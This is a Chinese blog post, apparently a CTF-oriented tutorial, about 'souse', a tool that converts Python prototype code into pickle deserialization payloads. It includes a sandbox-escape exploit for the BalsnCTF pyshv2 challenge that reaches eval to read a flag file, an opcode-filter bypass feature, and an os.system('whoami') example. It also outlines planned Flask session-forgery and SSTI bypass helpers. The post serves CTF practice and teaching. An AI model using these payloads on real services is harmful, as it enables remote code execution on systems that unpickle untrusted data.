🌧 2019 BalsnCTF pyshv2
根据思路,我们写出 Python 利用原型:
from structs import __dict__, __builtins__, __getattribute__
__dict__["structs"] = __builtins__
__builtins__['__import__'] = __getattribute__
from structs import get
a = get("eval")
a('print(open("./flag").read())')
自动翻译:
🌧 其他复杂示例
对于比较复杂的原型,souse 也可以自动转换
combo-2.py
from builtins import getattr, dict, globals
get = getattr(dict, 'get')
g = globals()
__builtins__ = get(g, '__builtins__')
f = getattr(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'getattr')(__builtins__, 'setattr')
combo-3.py
from math import sin, cos, tan
k = {
sin(cos(tan(cos(sin(tan(1)))))): {
sin(cos(sin(cos(sin(1))))): cos(sin(cos(sin(cos(1)))))
}
}
这些复杂的示例如果用手搓,那可真够搓一搓的
🌧 bypass 示例
bypass 的手段不是很全,因为目前我还没遇到非得 bypass 的情况,所以这个功能就当写着玩。
首先我们需要写一个文件,来代表过滤规则。type
代表是白名单(white)还是黑名单(black)。rules
里面的键都是 opcode,后面是 opcode 带的值(如果是统配符 *,其实就相当于禁止使用这个 opcode)。例如:
这个文件说明,opcode 禁止使用 V
、I01
、I100
。
在这个限制下,souse 会寻找其他 opcode 来代替:
从而实现 bypass。
当然,bypass 的手段还是很多的,但是我没动力继续写了,因为确实没遇到过这么严格的过滤,如果有遇到我再写吧
🌧 无法处理的情况
当然,souse 也有一些无法处理的情况:
from sys import modules
modules.get("os").system("whoami")
在这些情况下,我们需要利用反序列化攻击的知识点,把 Python 原型代码拆成功能等价的简单代码,再用 souse 翻译即可。
☁️ 结尾
有了 souse 之后,我们只需要关心如何写出正确的 Python 原型代码即可。这个原型代码是可以直接运行的,所以非常方便我们测试 payload
开头说到,这个功能是 souse 的功能之一,那 souse 后面还打算加入哪些功能呢?我准备把 souse 变成 flask 的一个攻击辅助工具,新增一下子属性递归(用于辅助沙盒逃逸)、session 伪造(攻击 flask 的常见手法)、flask SSTI bypass 等等
最近我的状态就和中丐股一样
一直下滑滑滑滑滑
下一篇应该是 SSTI
我在纠结要咋发
一篇一篇发有点水数量的嫌疑
不过管他呢